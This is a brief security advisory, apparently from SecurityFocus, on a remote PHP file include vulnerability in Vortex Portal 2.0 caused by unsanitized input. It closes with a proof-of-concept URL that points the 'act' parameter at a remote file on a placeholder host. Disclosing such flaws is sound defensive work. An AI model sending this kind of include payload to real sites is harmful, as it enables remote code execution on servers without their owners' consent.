source: http://www.securityfocus.com/bid/12878/info

Vortex Portal is reportedly affected by a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user supplied input.

It is conjectured this vulnerability affects the latest release of Vortex Portal, version 2.0. 

http://www.example.com/index.php?act=http://www.example.com/file